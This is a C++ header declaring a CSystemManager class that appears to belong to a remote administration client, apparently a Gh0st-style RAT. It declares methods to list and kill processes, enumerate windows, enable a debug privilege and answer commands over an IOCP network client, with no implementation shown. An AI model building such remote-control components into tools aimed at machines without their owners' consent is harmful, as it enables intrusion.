// SystemManager.h: interface for the CSystemManager class. // ////////////////////////////////////////////////////////////////////// #if !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_) #define AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 #include "Manager.h" #include "IOCPClient.h" class CSystemManager : public CManager { public: CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user = nullptr); virtual ~CSystemManager(); LPBYTE GetProcessList(); VOID SendProcessList(); BOOL DebugPrivilege(const char *szName, BOOL bEnable); VOID OnReceive(PBYTE szBuffer, ULONG ulLength); VOID KillProcess(LPBYTE szBuffer, UINT ulLength); LPBYTE GetWindowsList(); static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam); void SendWindowsList(); void TestWindow(LPBYTE szBuffer); }; #endif // !defined(AFX_SYSTEMMANAGER_H__38ABB010_F90B_4AE7_A2A3_A52808994A9B__INCLUDED_)